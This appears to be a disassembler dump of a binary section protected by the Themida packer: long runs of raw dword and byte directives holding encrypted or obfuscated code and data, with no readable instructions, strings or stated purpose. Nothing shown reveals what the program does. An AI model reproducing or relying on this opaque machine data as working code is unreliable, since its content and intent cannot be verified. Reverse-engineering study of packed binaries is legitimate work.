dd 4244489h, 4244481h, 1Ah, 77C35040h, 51043D0h, 0E88A6954h
dd 0A41E95FFh, 958B0616h, 6132B2Dh, 9589D88Bh, 613169Dh
dd 53006A58h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1B04h
dd 0C3534300h, 561CA90Bh, 31F4D7CDh, 1A998D29h, 0DB0B0613h
dd 11840Fh, 0BD8B0000h, 61313D5h, 140E9h, 65953300h, 90061314h
dd 3E2DB966h, 90E8B250h, 0DE9h, 7A0B3C00h, 0C0D249ECh
dd 120AACDEh, 0B5FFC28Dh, 616A3FEh, 0FFCA8B66h, 16A40295h
dd 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1D04h
dd 0C3514100h, 6F8FA2EDh, 501D756Eh, 81667426h, 0E94CE5C7h
dd 12h, 0DC237745h, 988A8D6Ah, 58CC8F89h, 0C694F390h, 0C00B2DC2h
dd 65850Fh, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h
dd 1C0424h, 50400000h, 1F339EC3h, 8628DD63h, 0BD8B7376h
dd 6130E75h, 53006A61h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
dd 1604h, 0C3534300h, 8BE46398h, 1324918Dh, 685C706h, 10616A4h
dd 29000000h, 1311D5B5h, 63E906h, 61F80000h, 30C1BD23h
dd 0C6810613h, 11Ch, 0E856006Ah, 3
dd 5EC35E20h, 4247489h, 4244481h, 1Bh, 6FC35646h, 57F24A04h
dd 6686A945h, 0BA1FD9BAh, 1B4E684h, 0FFF8ECE9h, 56006AFFh
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1604h, 0C3564600h
dd 315C2BF2h, 1300F5BDh, 0C8D76806h, 52504D56h, 0B8616060h
dd 6ED6B0ADh, 0E9310F61h, 14h, 7AEB82Dh, 2F4BE88Eh, 2CA339D5h
dd 6BA0910Eh, 47E7BC93h, 3481585Ah, 5648D724h, 6E94Dh
dd 47960000h, 0D0F7A54Fh, 6A006Ah, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 150424h, 53430000h, 66543BC3h, 0FFAF77BFh
dd 16A40EB5h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h
dd 1A04h, 0C3504000h, 0AE658F98h, 0F48C6EAh, 1D82h, 11E800h
dd 0EF280000h, 0E9A8541Eh, 0EC70B744h, 55745CFFh, 31F145EFh
dd 132FF98Dh, 95FF5906h, 6130135h, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 1Ah, 6C35141h, 0F0B9F112h, 0BD29CCC0h
dd 6130959h, 0A406858Bh, 6A0616h, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 140424h, 57470000h, 0B950F8C3h, 33AE795Eh
dd 1240489h, 13298D8Dh, 16858D06h, 0F0616A4h, 683h, 19BD8B00h
dd 0E9061328h, 0Ch, 0D2B64ED2h, 0C7F73D7h, 0CCB66077h
dd 50595090h, 4810Fh, 0BF660000h, 8B90D4D6h, 13248595h
dd 29BD8B06h, 8D061324h, 16A3D385h, 0BD97BA06h, 0B70F4868h
dd 0E95090CFh, 10h, 6B09BE18h, 0CF9E3AAAh, 0AD4039A0h
dd 13571085h, 56006A90h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
dd 1604h, 0C3564600h, 29B422D9h, 133225B5h, 0D595FF06h
dd 66061322h, 4A60C781h, 6E8C08Bh, 2B000000h, 7E746F35h
dd 5FCA8BD6h, 1625BD83h, 75000613h, 81BD8309h, 6132Ch
dd 53501374h, 0D0B8C08Bh, 8D000004h, 15A7B89Dh, 5BD3FF06h
dd 81BD8358h, 6132Ch, 53501174h, 4D0B8h, 0B79D8D00h, 0FF0615A6h
dd 6A585BD3h, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 15042444h, 40000000h, 2033C350h, 13E9h, 20A91700h, 785DA01h
dd 0C35367EFh, 0DEDAA05Ah, 0CCFFDC86h, 30798D8Bh, 0C08B0613h
dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 19h, 97C35646h
dd 6A2ED2F7h, 298D8977h, 58061330h, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 19h, 25C35646h, 0E644128Bh, 0CEBF0FCDh
dd 2F8DBD01h, 8C20613h, 92CA8100h, 8B1D00FAh, 3D8D8BC0h
dd 8A06130Eh, 5E858DC8h, 8B0616A4h, 131D318Dh, 0DB58906h
dd 8906130Ah, 131B0585h, 2DE906h, 0D09C0000h, 1D10h, 9 dup(0)
dd 0E9000000h, 51Eh, 0BF1F3783h, 0A5054999h, 0B9193183h
dd 0AA084897h, 0BB1B3988h, 0F746A788h, 0D5B7D5Dh, 0F0436545h
dd 5587A58h, 755A6747h, 0B46B8600h, 68DA4F16h, 51E06CBDh
dd 5674E06Dh, 4C6BE174h, 0B4A0FA6Bh, 2469109Dh, 0B8094D9Ch
dd 81D084D1h, 0EED06100h, 0F063F25Ch, 8590982h, 1582FF7Eh
dd 1C7D6261h, 64E9BBFh, 0D00ED637h, 0D3F355EAh, 5FEE5AEDh
dd 36A7ED7Bh, 109E5EDCh, 300160A5h, 0CB1B3F1Ch, 8953B283h
dd 0FADD8AFFh, 9E5F0F8Bh, 2BB5D810h, 14B29629h, 8DBD0F33h
dd 8CC01143h, 0CFEF082Fh, 0A53F7711h, 785F1883h, 90582572h
dd 6021A0D1h, 0CB5D109Eh, 0B4E9EE7Fh, 7DF954AEh, 0E864F5D9h
dd 0A217B159h, 4DBE4CB3h, 4135511Fh, 0E11433A3h, 109E8865h
dd 0BEE5EF2Eh, 6Ah, 0E06CBDA4h, 0B4A42051h, 0C619109Dh
dd 0EC7D1CE1h, 0B7014DD1h, 0C090BC4Dh, 68A34179h, 1, 0E16DBDCEh
dd 0EDBAE5C2h, 144A1B65h, 0BC910D7Ch, 3B5A109Dh, 0BE1032B1h
dd 2E7DC190h, 52C01322h, 7F290EB9h, 0AB6A9D24h, 0A3A465B2h
dd 6908AAC6h, 925AF645h, 4260EE40h, 0B7134265h, 80109E56h
dd 2243055Ah, 2725B89Ah, 70BD2987h, 522ABE1Eh, 0DEBF0E1Bh
dd 53FB4B8Fh, 0FD8EFC02h, 7E5CF845h, 930F7E61h, 5C109E03h
dd 0C9DAF39h, 7BCDF140h, 1B777ECFh, 0A7AE7E9Eh, 6F50A341h
dd 9DF9A4FEh, 0F8DCD510h, 15EAB534h, 0A6FDC746h, 67h, 6BE71639h
dd 34109DEBh, 0C24D07D1h, 0EA3D4EE0h, 0EF8E0F5Eh, 0A3B53F5Eh
dd 2B2F3E16h, 2FA0B199h, 4D9C46C3h, 0C5DF344h, 0ECCEEC8Dh
dd 6466F75Dh, 5EC7DD3h, 1CCCF089h, 0C4A341E8h, 51h, 0E470BD9Ah
dd 6ADE7155h, 0E868F7DBh, 0A3E27559h, 9583911h, 462FCCC6h
dd 2BDC6D65h, 0C697B707h, 0E5B7D47h, 0C2CA6846h, 31004EE0h
dd 74C608D0h, 88D5FDDAh, 146504CCh, 109DB4B5h, 527A42Eh
dd 0A341EA37h, 89Fh, 0CA1A4000h, 9058B988h, 0DF6BBDC6h
dd 53F94C8Eh, 51FB4E74h, 61F6D887h, 0DCBD9324h, 56FA498Dh
dd 0AD1E5407h, 103724B8h, 0E715B603h, 0AFD9E369h, 76D4681Ah
dd 75115858h, 64362756h, 0A6E7168Fh, 2A22B397h, 598CAB8Ch
dd 0A8B61FDh, 5B7D47C6h, 82F3420Ah, 0A8B6206h, 0CB6533Fh
dd 0D3393B9h, 0C3390BCh, 0C8DCEA34h, 1FCE166Fh, 93A2AA3Bh
dd 3BEC5DEBh, 0A66DE91Ch, 0D7360A8Bh, 0F7ACB0Dh, 0D2F190C0h
dd 0A60680F5h, 0AB3A0A8Bh, 0EA7998A9h, 973321ABh, 5AAC1BD9h
dd 12481h, 0BEA3D500h, 377AEBC8h, 0D0168EBCh, 87DAFC4Dh
dd 72C3E5C5h, 0F6478BDAh, 91FF0756h, 0DC6B4FF8h, 0D76A6C74h
dd 3FFD5575h, 0E15AAD1Bh, 0F74811F6h, 0FD900F1h, 4788h
dd 0BCA3AE00h, 0FA74E9C6h, 36F624Bh, 0B394B382h, 429BDA8Ch
dd 3829DAA5h, 909DE6DEh, 2F5E66A7h, 909DE6B3h, 6BFA5AE7h
dd 0E879D967h, 0D47EFB77h, 0D5ABCA80h, 0D5A1E9Bh, 8B275675h
dd 94EF627Dh, 0A6765171h, 0DC000000h, 0EBC8BEA3h, 8EA18F7Ah
dd 44157816h, 59B52807h, 220A8AA1h, 0ACBD8B20h, 92C40C6Dh
dd 8BAD0D3Fh, 0B243123Ah, 0A8AA151h, 0D2654D92h, 1EA6E776h
dd 1AAB57F4h, 41AA9532h, 2B82CF72h, 64E67A5Ch, 2E2CB4D5h
dd 308FF7F2h, 3294B60Ah, 60A1B0A2h, 200A7B58h, 391077E8h
dd 0E26BE716h, 0D1340473h, 2A3B5A07h, 7FDB0A2Dh, 480473E2h
dd 88D9FBC5h, 0CD9CB001h, 0A4FE6F4Ch, 6D0473E1h, 0D6F84928h
dd 9BB50683h, 1B2A4BCAh, 98A9A937h, 46025579h, 4DBED4F7h
dd 710A8458h, 0E7C4C2A7h, 6130AC76h, 9230550Ah, 0C8BEA338h
dd 3B07AEBh, 3459168Bh, 2921B397h, 0ABFE409Fh, 0FE2401A1h
dd 0AC1DDAAAh, 53DD83EBh, 15A8AA32h, 1ED72637h, 9B05851Dh
dd 9D30E257h, 0C2E0FAFh, 43C293B9h, 46065779h, 5AEE4169h
dd 0D878C70Bh, 5F690889h, 0E36DBE00h, 14BDEC4h, 5807D130h
dd 0DA6BE576h, 962869F8h, 4788D9B8h, 0F1C7AE4Bh, 755D0A7Fh
dd 6D5F69E5h, 705270DCh, 3DE6FDDh, 17h, 108AFBDCh, 0D9EF808Bh
dd 7BB22CB4h, 920C815Eh, 5B109DB4h, 0BD28B23Ah, 7254E571h
dd 0FADC6DDFh, 7052E365h, 0DFE372E0h, 0F330252h, 7FC392C2h
dd 2D112030h, 0BC9EAF9Bh, 2215242Ah, 72BC68h, 241C8900h
dd 81E68956h, 4C6h, 4EE8300h, 5C243487h, 56241489h, 0C681E689h
dd 4, 4EE81h, 34870000h, 3C895C24h, 0AA685624h, 5E15E970h
dd 0E681D6F7h, 0BCC754Bh, 0B285C681h, 8953FC12h, 5BDA89F3h
dd 3C8B545Eh, 4C48124h, 51000000h, 8B9h, 89F90100h, 240C8B11h
dd 4C481h, 34FF0000h, 0C4835F24h, 24148B04h, 81E78957h
dd 4C7h, 4C78100h, 87000000h, 0E95C243Ch, 0FFFCC488h, 41A77598h
dd 81F0E038h, 4EB87554h, 30616BCh, 26E0FFC5h, 1F4261F6h
dd 3C0C45F4h, 3E690Ah, 6E4A256Dh, 4061AF57h, 88408683h
dd 56338271h, 0C1013987h, 0EA02FFBAh, 0F061236h, 0F648C2B8h
dd 821FBF0h, 0ED3C1D53h, 956ED3BCh, 0D62BC075h, 0DB557F0Eh
dd 74162C20h, 0E909759Eh, 75h, 0D88C6660h, 840F04A8h, 35h
dd 0B5FF016Ah, 613116Dh, 7C33858Dh, 0D0FF0616h, 28158589h
dd 0FE8B0613h, 680CEFC1h, 20040000h, 26A006Ah, 0D6857h
dd 95FF0001h, 6132815h, 32E9h, 0E185C600h, 56061311h, 0C530DF68h
dd 0E9B5FFA9h, 8D06131Eh, 167C3385h, 89D0FF06h, 13122D85h
dd 0FD858D06h, 50061329h, 56A206Ah, 2D95FF56h, 61061312h
dd 6E0C1C3h, 1DE9h, 0F78FCF00h, 6Fh, 5 dup(0)
dd 14E90000h, 96000006h, 8AB00E48h, 92B81638h, 8CAE0C3Eh
dd 93B5153Bh, 7DB00E46h, 480C59B2h, 5AF8486Ah, 4701567Ch
dd 5CF04167h, 0FB6A757Eh, 16B4719Fh, 0AD8A3168h, 0B471DE38h
dd 6CE61716h, 3516B472h, 9D0283D0h, 951EEDF6h, 2DA731C8h
dd 901D6CBDh, 52E2C4h, 5FEED061h, 62F3D5F5h, 0E6775BEAh
dd 63F3D766h, 89095AEBh, 5DEF42F0h, 41075C7Eh, 94791F0h
dd 16B49427h, 98A99F34h, 1D2C26B6h, 4FE2A939h, 4C2D6CFDh
dd 0C589D9FDh, 0CA3F5374h, 0EE8B05DBh, 4496EF44h, 654B6B0Ah
dd 7C5B78D4h, 9DB48D09h, 0AD375610h, 0B54ECF3Eh, 398A109Dh
dd 0B3044617h, 4CC6CC9Dh, 0B121C6AFh, 0EA24F418h, 768CA341h
dd 0B2000000h, 51E06CBDh, 9DB4A420h, 0E1C61910h, 41B4CD5Ch
dd 109E77C5h, 0B0A80F8Eh, 44CE1642h, 34D7A5C7h, 17FA341h
dd 0E3000000h, 1670E5C2h, 0DF109DB5h, 922436BEh, 19A9ADBCh
dd 91222435h, 0CE3F20BFh, 109DB554h, 71F0F81Dh, 7017B4DEh
dd 4493F84Ah, 0BDDC6D0Ch, 0FF912133h, 9DB5148Eh, 82C64510h
dd 0F15DD53Eh, 51842362h, 109E63F5h, 0A03E5FBEh, 852527BAh
dd 0E470BD2Bh, 0D268E0C7h, 9F3C3798h, 22B49655h, 0DB751D2Ch
dd 2F25B45Eh, 7118A98Fh, 3476CE0h, 4BDA0579h, 183A99F8h
dd 95BA8BC9h, 0CEFA9622h, 4261005Eh, 9E76B713h, 0D31D8010h
dd 0AC9E3214h, 0C13AD49Dh, 412ACD9Bh, 0BF75A3h, 0C2C90000h
dd 633B4FE0h, 5D36AD56h, 0D9FBC5A4h, 5A79C88Ch, 17A8E978h
dd 88095839h, 90BA0E40h, 1E2A7DC1h, 0D0BB0B4Fh, 180D17Fh
dd 6AEAD160h, 0AA109676h, 0FACE6BAh, 6CDD1526h, 0A4A97BBh
dd 134190C2h, 143E8EB4h, 0DEFCC445h, 1296DFCh, 4CCD9CB0h
dd 9E27C11Dh, 6A0B8A10h, 9FFB6A4Dh, 0D3109E27h, 1C81CE86h
dd 0A23115D4h, 67F65EEBh, 42684726h, 0B0D160F2h, 56B0B928h
dd 9BE9B7E5h, 0A78BA341h, 0E4253414h, 51E072C2h, 4C71A830h
dd 0C5000000h, 0C7E470BDh, 0B51975E8h, 0A3E2109Dh, 4585BBFCh
dd 29B3D017h, 54398BAh, 8CBE1234h, 54999BDh, 0DA6FA334h
dd 31CAC8EBh, 82203481h, 0E16DBD28h, 0FC4F7350h, 549CFD4Ch
dd 9DB554B5h, 0CC3DCD10h, 41EAD0A0h, 178A3h, 0BDDE0000h
dd 4C8EDF6Bh, 0CE0253F9h, 0D478C9F1h, 5909820Ch, 23634307h
dd 4C6B483Eh, 0B4A0FA6Bh, 6169109Dh, 0AEEF7ED2h, 978605CFh
dd 48168EB1h, 0ADE0B002h, 0A8AAF31h, 6BFA9BFAh, 4B6C4B2Ah
dd 8AAEC01Ah, 0BC04890Ah, 0E8092E2Dh, 0A0C92887h, 3485C711h
dd 0F7460255h, 0F1D7F796h, 2C5DEC60h, 0A8AA4B0h, 0D41136E9h
dd 0C91D44B5h, 60D933BDh, 8D2D1FB2h, 16388AB0h, 50398CCEh
dd 23325301h, 6EFB8E1Fh, 573657E6h, 0F9920006h, 7654F849h
dd 0A9556E59h, 0BA4BBABh, 1AFC02A4h, 0C71159BDh, 0ADDD410Fh
dd 185E95Ah, 0A34D0000h, 0F87802BEh, 0D34FF394h, 7DE015B2h
dd 16168F49h, 0B1126331h, 17824392h, 5396F5AAh, 0BD6E5534h
dd 89A15313h, 9C832041h, 41E88720h, 5F1BC3BAh, 431487F5h
dd 74B9A22h, 0A0B6D0B6h, 628DC66h, 7C5F4867h, 0CE1E9016h
dd 0C2E2CB4h, 80C293B9h, 484E1F2Dh, 308131CAh, 88998456h
dd 0E36403A4h, 90BCE3F8h, 910D807Bh, 5A0A8B95h, 9B3B5A3Bh
dd 0EE689DBAh, 0B70A8B95h, 5AE3AA90h, 36572883h, 526636AEh
dd 59CE5AACh, 74000000h, 0D508BCA3h, 109DB579h, 0A0AE0042h
dd 70117091h, 4B882253h, 0C916F62h, 0B552CC3Dh, 3386909Dh
dd 0B6064819h, 90248CD6h, 0CDAC5B36h, 0B42E5F7Ch, 7D909E76h
dd 0B14AC418h, 4DBEB0C4h, 0C11E647Bh, 630DB24Ch, 0B5072BEFh
dd 81D082D2h, 0A576100h, 0A00C2B8Bh, 0B2000000h, 0A158DDC2h
dd 0A87532C0h, 0B9CD1420h, 8DDEEB1Ah, 83C7168Fh, 26B51931h
dd 0DDFA4B2Ah, 0C7EB67F5h, 786D777h, 3F4A9BBDh, 3F0F9FF2h
dd 0B99F3F5Eh, 0E4152428h, 0A8B8D63h, 2C3D15A3h, 3FF0982Ah
dd 8C5FD1A2h, 3B431273h, 66493CCDh, 9223CF6Ch, 1C3B1CBAh
dd 0BBAAA436h, 0A8B355Fh, 69DA1F28h, 820D482Eh, 84DDD9E3h
dd 3F5EEE3Fh, 0D9A26DA0h, 0C3071078h, 1AB9D870h, 20A8A638h
dd 202C7DC1h, 38D13B11h, 0AE0D7970h, 621B943Fh, 3794F90Ah
dd 0B0495B10h, 0E2233220h, 8C923EBDh, 0A3BC1644h, 96B205BEh
dd 60F2D8F7h, 0D805FEEh, 109DB491h, 925A3B5Ah, 9671045h
dd 49CC168Bh, 64F7DBF8h, 67FADCE4h, 52E3C5E5h, 0AFB55534h
dd 7110B0B6h, 5BB891E0h, 4A757366h, 0E978D668h, 55E620A8h
dd 62400C9Dh, 805FED40h, 0C5B42E5Fh, 5A7DA0A5h, 0A5C5AF2Bh
dd 741578A0h, 8AD9FD6Ch, 0CF9EB603h, 72D86C4Eh, 0E4C3A2E3h
dd 8EDF69BEh, 3226C50Fh, 0B69C4BC0h, 0F9182923h, 4CDDEFh
dd 22327FA3h, 81D0F213h, 0B90382D3h, 6524B59Bh, 0A9E879D5h
dd 205C79C8h, 2000000h, 6CBDE5C2h, 413051E0h, 109DB4C5h
dd 19AB0F8Eh, 0D7E12031h, 594166B3h, 9005A7FEh, 0BD5903CDh
dd 7254E571h, 0FADC6DDFh, 7052E365h, 0DFE372E0h, 0F330252h
dd 7FC392C2h, 2D112030h, 0BC9EAF9Bh, 2215242Ah, 81E68956h
dd 4C6h, 4EE8300h, 31243433h, 34332434h, 89565C24h, 4C681E6h
dd 81000000h, 4EEh, 24348700h, 240C895Ch, 4EDC68h, 243C8900h
dd 8904EC83h, 0BBBA2414h, 817C8157h, 0FF2BBACAh, 0ECCA815Ch
dd 81598A7Fh, 0E9C226F2h, 5AD1897Bh, 39A68h, 24248900h
dd 4240481h, 5F000000h, 8BA52h, 0FA010000h, 89CB8953h
dd 8B5A5B1Ah, 8953243Ch, 4C381E3h, 81000000h, 4C3h, 241C8700h
dd 2434FF5Ch, 4C48159h, 0E9000000h, 0FFFCBD84h, 0FE86E03Eh
dd 0D3B304C6h, 258EBADCh, 0B8B8295Eh, 616C346h, 0E0FFC503h
dd 6266A836h, 24B7B1AAh, 3EA7B047h, 3078FD53h, 1D2B7123h
dd 68579A58h, 42F7B0F1h, 69190B67h, 3ED2FBF5h, 28DA45BDh
dd 3AD6BEEEh, 494C8AC9h, 0B5919EDh, 43A96C8Ch, 49DFD28Fh
dd 6D502FA9h, 7A3E1C88h, 4BE6A879h, 281E3531h, 4CC9B09Ch
dd 39EBh, 2CC00CBh, 2E400CBh, 0CBh, 407F0000h, 4CC25067h
dd 44AB617Eh, 4016356Fh, 7DD5864h, 2934596Eh, 65686144h
dd 5D583546h, 476E4545h, 4CF75D5Eh, 49C2516Bh, 3660A081h
dd 0E93B3319h, 0C10F3560h, 292C3509h, 76D56A2Ah, 2D2F4983h
dd 2DA1718Bh, 29C2351Ch, 41A2624Dh, 2559CE6Ch, 9458350Ah
dd 42BCD512h, 7AEA53A9h, 0AA0B0A8Ch, 3A9310B7h, 20B7350Ch
dd 5E08889h, 5DB03319h, 0A20B6513h, 2D958DCAh, 0AC9F350Ah
dd 2F183877h, 80F8A887h, 0FA3D331Fh, 94E26D51h, 2FA3198Bh
dd 794F410Ah, 2D958D59h, 0AC9F350Ah, 2F183877h, 8FE9A887h
dd 0FA3D331Fh, 290B6D51h, 29B3DD58h, 7378350Ah, 7DA56FC9h
dd 6D97312Eh, 291C312Eh, 7BC7350Ah, 760310C9h, 0FCD4BC13h
dd 4FB6261Ah, 0E9D3E681h, 292C3BE3h, 73877D0Ah, 0B516BC4Ch
dd 0C1DC49BFh, 0A24A3066h, 3A7E6087h, 0C835F30Ch, 7F5E261Bh
dd 0C17E3560h, 29163509h, 73C86F2Ah, 2DA16183h, 2DE6718Bh
dd 29613511h, 2F736748h, 0B99A4EFDh, 28642817h, 3A377497h
dd 767F5D0Ch, 77D7530Fh, 0F7E6318Bh, 43579652h, 2A58640Ah
dd 958350Ah, 0A075F653h, 0A8121146h, 340F114Eh, 6885350Ah
dd 989F65Bh, 0C5AD3699h, 5AD0AFD1h, 3A21A03Bh, 9CD33319h
dd 2F052BE3h, 0BC82CD81h, 2F9614E7h, 55F1B087h, 0E0E0331Ch
dd 7302C5ABh, 2932E5F5h, 292FDD5Bh
dd 7036350Ah, 65826CC9h, 6D04312Eh, 29D8312Eh, 7820350Ah
dd 23EF29C9h, 0A436C2A9h, 18158883h, 2D7C3319h, 0C15C3560h
dd 29853509h, 76016A2Ah, 2D454983h, 2D94718Bh, 29583516h
dd 9EF624Dh, 943B87DAh, 0A669701Ch, 2983B805h, 94C9350Ah
dd 2F720757h, 29B03FE3h, 627F130Ah, 721A2326h, 413662ADh
dd 61816AFBh, 0D8A1018Bh, 978ABF45h, 0FBC6A3Eh, 7C772E62h
dd 295EDDC9h, 0B28C350Ah, 1754EACCh, 0D0FB454h, 152F0EDBh
dd 0C1953560h, 29613509h, 76736A2Ah, 2D7C4983h, 2D08718Bh
dd 29163512h, 0C2C8624Dh, 0B8A9691Dh, 29C230E3h, 8921A30Ah
dd 29DA008Ah, 2CB58881h, 0F9D33319h, 2863A883h, 0AC823319h
dd 2F93F142h, 2297B883h, 0D1EA3319h, 29B2F90Fh, 65DDBC0Ah
dd 0AA2A23CEh, 0AC9F2DCAh, 2F1DF15Ah, 0C53CF539h, 0DAC23508h
dd 78615FA0h, 29B036E2h, 0EA01150Ah, 0D60BC53h, 0D52B40Eh
dd 290B200Eh, 0EAD4740Ah, 0BC494150h, 2F7230A3h, 0D531ADB4h
dd 79585F0Eh, 292C36E2h, 0EA4E150Ah, 0D4FBC52h, 0DC1B40Eh
dd 29C2200Eh, 0EA31750Ah, 0A43B8CA8h, 2F4B3CEFh, 38CDB0CCh
dd 26553319h, 290B338Fh, 808BE0Ah, 0C1C4261Ch, 2961350Eh
dd 0B5D75E54h, 29583BE3h, 627F1A0Ah, 383BABE2h, 16010611h
dd 79C5B46Eh, 6D49FA81h, 7336312Eh, 79D03581h, 0E7D35358h
dd 727E0405h, 0A2706D50h, 6D8254F3h, 7BD5312Eh, 29C224E2h
dd 704D510Ah, 48340FB2h, 0ED45F479h, 628575DFh, 3BFF0254h
dd 220B350Ah, 0E25A704Fh, 7896F8DFh, 4A19ACAFh, 0BE04CB0Eh
dd 18576B66h, 0A24A675Ah, 78273AF1h, 73536F53h, 29EF6D52h
dd 29C1DD59h, 7241350Ah, 75396EC9h, 6DD9312Eh, 2936312Eh
dd 7A55350Ah, 0FCA0CEC9h, 46596327h, 3C78883h, 9C9E3319h
dd 2FA32BE3h, 0C10F3560h, 292C3509h, 76D56A2Ah, 2D2F4983h
dd 2DA1718Bh, 29C2351Fh, 5EA2624Dh, 0E4898A11h, 0ACD57A82h
dd 2F3A4939h, 0C1403560h, 290B3509h, 77466B2Ah, 2DE64183h
dd 2D45718Bh, 29B0351Fh, 8C9B634Ch, 0EFAD5315h, 0F9E9E769h
dd 0C15A3560h, 29853509h, 70016C2Ah, 2D457983h, 2D94718Bh
dd 29583516h, 3DEF644Bh, 9B4C50C9h, 9B0D9FB5h, 5D8B083h
dd 29A83319h, 2962DD5Bh, 7090350Ah, 65D16CC9h, 6DAD312Eh
dd 290D312Eh, 784A350Ah, 578B96C9h, 0C09B9AC2h, 0A47E8711h
dd 3ABC4C8Fh, 78585F0Ch, 292C36E2h, 0EA4F150Ah, 0D47BC53h
dd 0DC1B40Eh, 29C2230Eh, 0EA30740Ah, 0A061595Eh, 3A45A8BFh
dd 0D8A9BC0Ch, 9010260Dh, 7528939h, 2983B005h, 0BCF3350Ah
dd 2F7227A7h, 3851B0CCh, 430B3319h, 2AC4630Ah, 916350Ah
dd 0A055F654h, 0A881117Eh, 30C6114Eh, 6F61350Ah, 0EE31F65Ch
dd 541020F4h, 0AA23C06Ah, 29163509h, 4885F38Ah, 29853FE2h
dd 2BC44F0Ah, 19119E32h, 902E1EAEh, 1B6EFF6Bh, 0BCA13E53h
dd 4110261Ch, 0F7250847h, 2986BE05h, 0A2A4350Ah, 0D65B4C0h
dd 37333E81h, 0C10B3560h, 292C3509h, 72D56E2Ah, 2D2F6983h
dd 2DA1718Bh, 29C23513h, 0B2A26649h, 0B1F9375Bh, 0C0EDCAF4h
dd 432A2614h, 2AFE620Ah, 90B350Ah, 0A0DAF655h, 0A8C61176h
dd 3165114Eh, 6EB0350Ah, 4ED8F65Dh, 0A0586190h, 3A05E0B7h
dd 0DE8A530Ch, 0AC0823DBh, 2FD44939h, 2690A083h, 0F94F3319h
dd 1851A083h, 0A0D03319h, 3A1B9C8Fh, 7C0B5F0Ch, 298536E2h
dd 0EA9F150Ah, 0D0DBC57h, 0DF4B40Eh, 2958230Eh, 0EA79700Ah
dd 0D1418Ch, 3A1A508Fh, 2F0C3A0Ch, 0A0C2350Ah, 3A6CF0BFh
dd 0C835F30Ch, 7A5E261Bh, 0C17C3560h, 29163509h, 71C86D2Ah
dd 2DA17183h, 2DE6718Bh, 29613517h, 9273654Ah, 67C65E77h
dd 4CB20520h, 589BBCBDh, 0D2622h, 3A80B487h, 0BF05D0Ch
dd 1DE0D09Dh, 0A656B42Eh, 0D2D35337h, 37C580F5h, 0AC9B3319h
dd 2F1D4939h, 0C1D43560h, 29C23509h, 70A26C2Ah, 2D947983h
dd 2D7C718Bh, 292C351Ch, 63D5644Bh, 0F9F40998h, 2C78880Bh
dd 0AC4B3319h, 2F723C63h, 0A9638C6Ch, 38B9B0CCh, 4F6B3319h
dd 0BC9DE281h, 2F183B4Fh, 298531E2h, 0F71F9C0Ah, 223A8ABDh
dd 9CE066EDh, 0D1CBE73h, 2923DD0Eh, 6B0D350Ah, 6295EBA8h
dd 0EF93095Fh, 7CF6C0E6h, 0A2075525h, 4858BFD0h, 0A058BE50h
dd 0A228114Eh, 297C6DFDh, 2908DD59h, 72A5350Ah, 754B6EC9h
dd 6DE0312Eh, 29A4312Eh, 7A1B350Ah, 9CD3B1C9h, 2F052BE3h
dd 5538B087h, 29EF331Ch, 29C1DD5Ah, 7141350Ah, 6D396DC9h
dd 6DD9312Eh, 2935312Eh, 7956350Ah, 513058C9h, 0D60C7FAFh
dd 7BC25FDAh, 296136E2h, 0EAEA150Ah, 0D0CBC50h, 0D68B40Eh
dd 29162E0Eh, 0EA59770Ah, 57542876h, 0D56E2D23h, 2977B705h
dd 3859350Ah, 0AA58350Ah, 3C59639Eh, 2369B497h, 659E76C9h
dd 4B671426h, 29CFB083h, 290B3319h, 29B3DD5Ch, 7778350Ah
dd 5DA56BC9h, 6D97312Eh, 2913312Eh, 7FC3350Ah, 69EA42C9h
dd 0ACA71708h, 2FA324EBh, 295CDD4Dh, 3956350Ah, 2EFEB4D6h
dd 300B350Ah, 0C509E9E7h, 0D9488791h, 26896553h, 30B0350Ah
dd 0F6A10AFFh, 0FD6B90D5h, 0EE51EB77h, 0A26D2F9Eh, 6D0E6BF0h
dd 7B92312Eh, 2692BE6Ch, 4009533Bh, 0A2006F0Ch, 32AA3A0Ah
dd 0C116350Ah, 290B3518h, 5334E96Ah, 97679120h, 0EFDD5106h
dd 0B76BC5B0h, 0A23E5534h, 6DA56FC1h, 0AE19312Eh, 290B350Ah
dd 7B855F52h, 29C236E2h, 0EA3B150Ah, 0DE4BC50h, 0D1CB40Eh
dd 292C2C0Eh, 0EA44770Ah, 17C924A8h, 9C7AD5B6h, 2FD12BE3h
dd 0A4B68205h, 3FCC068Fh, 7E585F0Ch, 292C36E2h, 0EA49150Ah
db 55h
dword_5B8EA1 dd 0E0D77BCh ; Themida_:005D4B51r
db 0B4h ; ´
db 0C1h ; Á
db 0Dh
db 0Eh
db 21h ; !
db 0C2h ; Â
db 29h ; )
db 0Ah
db 72h ; r
db 36h ; 6
db 0EAh ; ê
db 0C3h ; Ã
db 0BEh ; ¾
db 0Dh
db 74h ; t
db 28h ; (
db 26h ; &
db 5Eh ; ^
db 0D6h ; Ö
db 0DAh ; Ú
db 5Fh ; _
db 2Ch ; ,
db 7Bh ; {
db 0E2h ; â
db 36h ; 6
db 16h
db 29h ; )
db 0Ah
db 15h
db 51h ; Q
db 0EAh ; ê
db 50h ; P
db 0BCh ; ¼
db 0D1h ; Ñ
db 0Dh
db 0Eh
db 0B4h ; ´
db 86h ; †
db 0Dh
db 0Eh
db 23h ; #
db 61h ; a
db 29h ; )
db 0Ah
db 77h ; w
db 0E2h ; â
db 0EAh ; ê
db 2Dh ; -
db 1Ah
db 29h ; )
db 0C1h ; Á
db 0Fh
db 35h ; 5
db 2Ch ; ,
db 29h ; )
db 0F8h ; ø
db 60h ; `
db 0CBh ; Ë
db 93h ; “
db 2Fh ; /
db 3Ah ; :
db 8Ch ; Œ
db 2Ah ; *
db 0Ah
db 35h ; 5
db 85h ; …
db 26h ; &
db 0B5h ; µ
db 0C6h ; Æ
db 9Dh ;
db 0A0h ;
db 8Fh ;
db 10h
db 78h ; x
db 3Ah ; :
db 0Ch
db 65h ; e
